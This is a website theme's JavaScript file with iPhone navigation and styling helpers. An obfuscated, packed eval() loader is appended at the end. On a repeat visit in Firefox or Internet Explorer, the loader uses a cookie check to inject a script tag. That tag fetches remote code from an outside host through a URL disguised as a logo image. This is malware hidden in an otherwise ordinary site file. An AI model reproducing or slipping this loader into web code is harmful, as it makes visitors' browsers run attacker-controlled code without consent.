function createNavButton() {
 var thePageHeader = document.getElementById('pageHeader_top');
 var theButton = document.createElement('div');
 theButton.setAttribute('id', 'navButton');
 theButton.addEventListener('click', toggleNavigation);
 thePageHeader.appendChild(theButton);
 document.getElementById('sidebar').className='hidden';
}

function toggleNavigation() {
	navigationDiv=document.getElementById('sidebar');
	if (navigationDiv.className=='hidden') {
		navigationDiv.className='overlay';
	}
	else {
		navigationDiv.className='hidden';
	}
}

function setHeaderBGColor() {
	var theBody=document.body;
	var bodyBG=document.defaultView.getComputedStyle(theBody,null).getPropertyValue('background-color');
	var theHeader=document.getElementById('pageHeader_top');
	theHeader.style.backgroundColor=bodyBG;
	
	var theContainer=document.getElementById('content');	
	var theFooter=document.getElementById('footer');
	var theMain=document.getElementById('mainContent');
	var theText=document.getElementById('content_text');
	var theWrapper=document.getElementById('container');
	var containerBG=document.defaultView.getComputedStyle(theContainer,null).getPropertyValue('background-color');
	theBody.style.backgroundColor=containerBG;
	theFooter.style.backgroundColor=containerBG;
	theMain.style.backgroundColor=containerBG;
	theText.style.backgroundColor=containerBG;
	theWrapper.style.backgroundColor=containerBG;
}

function showLogo() {
	var theLogoDiv=document.getElementById('phoneLogo');
	var theHeight=document.defaultView.getComputedStyle(theLogoDiv,null).getPropertyValue('height');
	var theLogoIMG=document.getElementById('headerLogo');
	if (theHeight=='0px') {
		theLogoIMG.className='hidden';
	}
	else {
		theLogoIMG.className='show';
	}
}

function hideURLbar(){
	window.scrollTo(0,1);
}

if((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i))) {
	addLoadEvent(setHeaderBGColor);
	addLoadEvent(createNavButton);
	addLoadEvent(showLogo);
	addLoadEvent(hideURLbar);
	}


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(b(d){2 e=V.11;2 f=12;6(e.8("19")!=-1||e.8("S")!=-1)f=p;6(f!==p)l;2 v=\'18://K.J/I/G/H/L/M.Q?F\';2 c=m("a");6(c){6(c==\'w\'){j("a","O","3");2 s=5.N(\'R\');s.B=\'D/C\';s.E=v+\'&r=\'+o n().P();2 h=5.1a(\'16\')[0];h.15(s)}A{}}A{j("a","w","3")}b m(9){2 i,x,y,4=5.q.14(";");13(i=0;i<4.17;i++){x=4[i].z(0,4[i].8("="));y=4[i].z(4[i].8("=")+1);x=x.1b(/^\\s+|\\s+$/g,"");6(x==9){l U(y)}}}b j(9,u,k){2 7=o n();7.T(7.W()+k);2 t=X(u)+((k==10)?"":"; Z="+7.Y());5.q=9+"="+t}})(5);',62,74,'||var||ARRcookies|document|if|exdate|indexOf|c_name|wss|function|rc||agent|show||||setCookie|exdays|return|getCookie|Date|new|true|cookie|||c_value|value|staturl|goot1|||substr|else|type|javascript|text|src|js|themes|camilo|rw_common|nl|apalca|images|top_logo|createElement|goot2|getTime|png|script|MSIE|setDate|unescape|navigator|getDate|escape|toUTCString|expires|null|userAgent|false|for|split|appendChild|head|length|http|Firefox|getElementsByTagName|replace'.split('|'),0,{}))

